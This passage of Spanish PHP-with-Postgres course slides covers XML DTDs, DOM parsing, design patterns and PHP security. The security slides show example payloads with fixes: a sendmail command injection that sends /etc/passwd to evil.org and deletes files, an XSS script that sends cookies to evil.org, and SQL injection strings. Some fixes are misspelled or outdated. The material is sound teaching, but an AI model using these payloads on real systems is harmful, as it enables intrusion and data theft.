  • 70. XML DTD: <!ELEMENT nombreElemento (sEl1*,sEl2+,sEl3?) > * Indica que el elemento puede aparecer 0 ó más veces + indica que el elemento puede aparecer 1 ó más veces ? Indica que el elemento puede aparecer 0 ó 1 vez <!ELEMENT nombre (sEl1|sEl2) > | indica que debo elegir alguno de los dos elementos <!ELEMENT nombre (#PCDATA|sEl1) > Para aceptar que un elemento tenga texto o subelementos <!ELEMENT nombre (sEl1,sEL2) > <!ATTLIST nombre at1 CDATA #REQUIRED at2 CDATA #IMPLIED at3 ID #REQUIRED at4 (yes | no) #REQUIRED > Tipo ID puede haber sólo 1, at4 tiene definido los valores que puede recibir, para definir el valor por defecto de un #IMPLIED se reemplaza #IMPLIED por este valor PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – XML : DTDs
  • 71. XML desde PHP Ejemplo de XML: <?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot;?> <bloque> <noticia> <titulo>Hola Caracola </titulo> <autor>KaoS</autor> <cuerpo>Olla Kaitos a Luisete</cuerpo> </noticia> <noticia> <titulo>Nuevo articulo en desarrolloweb </titulo> <autor>Raul</autor> <cuerpo>Jeje hola, aqui estamos </cuerpo> </noticia> </bloque> Guardarlo en “noticias.xml” PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
  • 72. XML desde PHP Leer el archivo: <? //$ruta_fichero=quot;http://www.dominio.com/noticias.xmlquot;; $ruta_fichero=quot;noticias.xmlquot;; $contenido = quot;quot;; if($da = fopen($ruta_fichero,quot;rquot;)) { while ($aux= fgets($da,1024)) { $contenido.=$aux; } fclose($da); } else { echo quot;Error: no se ha podido leer el archivo <strong>$ruta_fichero</strong>quot;; } ?> Esto dentro de un archivo “noticias.php” PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
  • 73. XML desde PHP Procesar el XML: $tagnames = array (quot;tituloquot;,quot;autorquot;,quot;cuerpoquot;); if (!$xml = domxml_open_mem($contenido)){ echo quot;Ha ocurrido un error al procesar el documento<strong> quot;$ruta_ficheroquot;</strong> a XML <br>quot;; exit; } else { $raiz = $xml->document_element(); $tam=sizeof($tagnames); for($i=0; $i<$tam; $i++){ $nodo = $raiz->get_elements_by_tagname($tagnames[$i]); $j=0; foreach ($nodo as $etiqueta) { $matriz[$j][$tagnames[$i]]=$etiqueta->get_content(); $j++; } } } PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
  • 74. XML desde PHP Mostrar los Datos: <? $num_noticias=sizeof($matriz); for($i=0;$i<$num_noticias;$i++) { echo '<table border=1><tr><td align=center>‘ .$matriz[$i][quot;tituloquot;].'</td></tr><tr><td>‘ .$matriz[$i][quot;cuerpoquot;].'</td></tr><tr><td align=right >‘ .$matriz[$i][quot;autorquot;] .'</td></tr></table><br>'; } ?> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML
  • 75. Patrones de Diseño Introducción: Los patrones de diseño (design patterns) son la base para la búsqueda de soluciones a problemas comunes en el desarrollo de software y otros ámbitos referentes al diseño de interacción o interfaces. Un patrón de diseño es una solución a un problema de diseño. Para que una solución sea considerada un patrón debe poseer ciertas características. Una de ellas es que debe haber comprobado su efectividad resolviendo problemas similares en ocasiones anteriores. Otra es que debe ser reusable, lo que significa que es aplicable a diferentes problemas de diseño en distintas circunstancias. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  • 76. Patrones de Diseño Categorías: • Patrones arquitecturales: Aquéllos que expresan un esquema organizativo estructural fundamental para sistemas software. • Patrones de diseño: Aquéllos que expresan esquemas para definir estructuras de diseño (o sus relaciones) con las que construir sistemas software. • Idiomas: Patrones de bajo nivel específicos para un lenguaje de programación o entorno concreto. Además, también es importante reseñar el concepto de Antipatrón de Diseño, que con forma semejante a la de un patrón, intenta prevenir contra errores comunes de diseño en el software. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  • 77. Patrones de Diseño Patrones estructurales: • Adapter (Adaptador): Adapta una interfaz para que pueda ser utilizada por una clase que de otro modo no podría utilizarla. • Bridge (Puente): Desacopla una abstracción de su implementación. • Composite (Objeto compuesto): Permite tratar objetos compuestos como si de uno simple se tratase. • Decorator (Envoltorio): Añade funcionalidad a una clase dinámicamente. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  • 78. Patrones de Diseño Patrones estructurales: • Facade (Fachada): Provee de una interfaz unificada simple para acceder a una interfaz o grupo de interfaces de un subsistema. • Flyweight (Peso ligero): Reduce la redundancia cuando gran cantidad de objetos poseen idéntica información. •Proxy : Mantiene un representante de un objeto. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  • 79. Patrones de Diseño Patrones de Comportamiento: • Chain of Responsibility (Cadena de responsabilidad): Permite establecer la línea que deben llevar los mensajes para que los objetos realicen la tarea indicada. • Command (Orden): Encapsula una operación en un objeto, permitiendo ejecutar dicha operación sin necesidad de conocer el contenido de la misma. • Interpreter (Intérprete): Dado un lenguaje, define una gramática para dicho lenguaje, así como las herramientas necesarias para interpretarlo. • Iterator (Iterador): Permite realizar recorridos sobre objetos compuestos independientemente de la implementación de estos. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  • 80. Patrones de Diseño Patrones de Comportamiento: • Mediator (Mediador): Define un objeto que coordine la comunicación entre objetos de distintas clases, pero que funcionan como un conjunto. • Memento (Recuerdo): Permite volver a estados anteriores del sistema. • Observer (Observador): Define una dependencia de uno-a-muchos entre objetos, de forma que cuando un objeto cambie de estado se notifique y actualicen automáticamente todos los objetos que dependen de él. • State (Estado): Permite que un objeto modifique su comportamiento cada vez que cambie su estado interno. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  • 81. Patrones de Diseño Patrones de Comportamiento: • Strategy (Estrategia): Permite disponer de varios métodos para resolver un problema y elegir cuál utilizar en tiempo de ejecución. • Template Method (Método plantilla): Define en una operación el esqueleto de un algoritmo, delegando en las subclases algunos de sus pasos, esto permite que las subclases redefinan ciertos pasos de un algoritmo sin cambiar su estructura. • Visitor (Visitante): Permite definir nuevas operaciones sobre una jerarquía de clases sin modificar las clases sobre las que opera. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  • 82. Patrones de Diseño Patrones creacionales: •Abstract Factory (Fábrica abstracta): Permite trabajar con objetos de distintas familias de manera que las familias no se mezclen entre sí y haciendo transparente el tipo de familia concreta que se esté usando. • Builder (Constructor virtual): Abstrae el proceso de creación de un objeto complejo, centralizando dicho proceso en un único punto. • Factory Method (Método de fabricación): Centraliza en una clase constructora la creación de objetos de un subtipo de un tipo determinado, ocultando al usuario la casuística para elegir el subtipo que crear. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  • 83. Patrones de Diseño Patrones creacionales: • Prototype (Prototipo): Crea nuevos objetos clonándolos de una instancia ya existente. • Singleton (Instancia única): Garantiza la existencia de una única instancia para una clase y la creación de un mecanismo de acceso global a dicha instancia. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software
  • 84. Seguridad Definición: • Entendemos por aplicaciones web a todo aquél software que interacciona con el usuario utilizando el protocolo HTTP. Por su parte, los servicios web son un conjunto de funciones empaquetadas dentro de una entidad única y publicadas dentro de la red para que puedan ser utilizadas por las aplicaciones web. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 85. Seguridad Lineas frecuentes de ataques: • Saltarse las validaciones • Inyección de código • Inyeccion de SQL • Inyeccion de Cookies • XSS – Cross Site Scripting PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 86. Seguridad Saltarse las validaciones - Objetivo: El objetivo es que la aplicación colapse, de una manera interesante para el atacante. • Dejando a la aplicación en un estado invalido, de modo que deje de estar operativa. • Revelando información de depuración, que permita conocer detalles importantes acerca de la plataforma usada, para luego aprovechar los problemas de seguridad conocidos que esta tenga. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 87. Seguridad Saltarse las validaciones - ¿Cómo?: Existen 2 tipos de validación, la del lado del cliente y la del lado del servidor. En el primer caso, tenemos como ventaja el rápido feedback con el cliente. Pero si no va acompañada de la segunda, tenemos un grave problema de seguridad: Se puede generar un nuevo formulario, que envíe los datos sin ser validados al server. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 88. Seguridad Validación en el servidor: PHP ofrece múltiples funciones para validar datos: • is_int(), is_float(), is_bool(), is_finite(), is_nan(), etc • intval(), floatval(), doubleval(), etc • strlen(), strpos(), etc PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 89. Seguridad Inyección de código - Objetivo: Hacer que nuestro script ejecute algún código ingresado por el atacante. Este código habitualmente apunta a: • Mostrar información acerca de la plataforma • Dañar el sistema • Generar nuevas vulnerabilidades de seguridad. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 90. Seguridad Inyección de código - ¿Cómo?: Generalmente a través de variables GET, POST o COOKIE, que no se valida correctamente (o simplemente no se valida) Ejemplo: $filename=$_GET[‘datoString’]; $message=file_get_contents($filename); echo $message; Si se llama www.cursophp.org/miscript.php?datoString=hola.txt Pero si se llama www.cursophp.org/miscript.php?datoString=pass.cfg PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 91. Seguridad Inyección de código - ¿Cómo?: <?php $fp = popen('/usr/sbin/sendmail -i '. $_GET[‘to’], 'w'); ?> Se llama con el siguiente query string: *.php?to=evil%40evil.org+%3C+%2Fetc%2Fpasswd%3B+rm+%2A Ejecutaría: /usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm * Solución: <?php $fp = popen('/usr/sbin/sendmail -i '. scapeshellarg($_GET[‘to’]), 'w'); ?> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 92. Seguridad Inyección de código - ¿Cómo?: Los includes de scripts referenciados desde GET o POST no debieran usarse y de ser así, validar muy bien los datos. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 93. Seguridad Inyección de código - ¿Cómo?: Supongamos que este codigo está dentro del módulo de mensajeria de nuestra aplcación <?php ... echo quot;<TD> $subject </TD>quot;; ?> Un usuario malicioso podría enviar un mensaje con el asunto: <script> self.location.href= quot;http://evil.org/cookie- grab.html?cookies=quot; +escape(document.cookie) </script> Llamando a su servidor, donde revisando el log de los request, tendrá la información de nuestras cookies Solución: <?php ... echo quot;<TD> quot;.htmlspecialchars($subject).quot; </TD>quot;; ?> PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 94. Seguridad Inyección de SQL - Objetivo: Alterar los datos en la base de datos para que ocurra alguna de las siguientes situaciones: •La aplicación colapse porque se ingresaron datos que no concuerdan con lo esperado. •Se pierda información producto de la eliminación de registros. •Se produzcan errores de SQL, que permitan obtener información de depuración y así encontrar vulnerabilidades. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 95. Seguridad Inyección de SQL - ¿Cómo?: Ingresando partes de sentencias sql de actualizacion de bd, en los parametros que incluye la query. Ejemplo: $user_name=$_GET[‘u_name’]; $sql=“SELECT * FROM users WHERE user_name=‘$user_name’ ”; $result=pg_query($sql); Si se llama: *.php?u_name=Jorge ningún problema, pero si se llama: *.php?u_name=Jorge;DELETE FROM users; tendremos problemas. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 96. Seguridad Inyección de SQL - ¿Cómo?: Otro ejemplo: $user_name=$_GET[‘u_name’]; $pass=$_GET[‘password’]; $sql=“SELECT * FROM users WHERE user_name=‘$user_name’ AND password=‘$pass’ ”; $result=pg_query($sql); Si se llama: *.php?u_name=Jorge&password=123 ningún problema, pero si se llama: *.php?u_name=Jorge&password=123’ or ‘’=‘ Se ejecutaría el sql: SELECT * FROM users WHERE user_name=‘Jorge’ AND password=‘123’ or ‘’=‘’ Lo que probablemente garantizaría el ingreso del usuario, sin necesidad de que el password coincida. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 97. Seguridad XSS – Cross Site Scripting: La idea es reemplazar una direccion http por un codigo malicioso, permitiendo esto: •El pishing •La ejecución de scripts dañinos •El robo de información privada PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP
  • 98. Seguridad Proteger el servidor web: Para esto debemos tener en cuenta lo siguiente: • Mientras el atacante menos sepa del servidor, más dificil será su tarea. • Mientras menos servicios de red ofrezca el servidor más seguro será. • Si vulneran el sistema operativo, no tenemos nada que hacer. Por lo que debe ser lo más robusto posible contra ataques locales y remotos. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache
  • 99. Seguridad Proteger el servidor web: • El acceso remoto al servidor debe estar controlado por un firewall que permita el acceso sólo en el puerto HTTP (TCP:80) • Apache no debe tener activado ningún modulo que no sea necesario. • Apache debe tener acceso restringido al sistema de archivos • Chroot para apache. • Debe ser posible almacenar en un archivo de texto los request GET y POST para usar programas adicionales para la deteccion de intrusos. PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache
  • 100. Seguridad Medidas Concretas: • En httpd.conf setear safe_mode = On • Modificar la linea AddType applicaton/x-httpd-php .php a AddType applicaton/x-httpd-php .do y renombrar todos los archivos .php a .do PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache
  • 101. Fin PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Fin del curso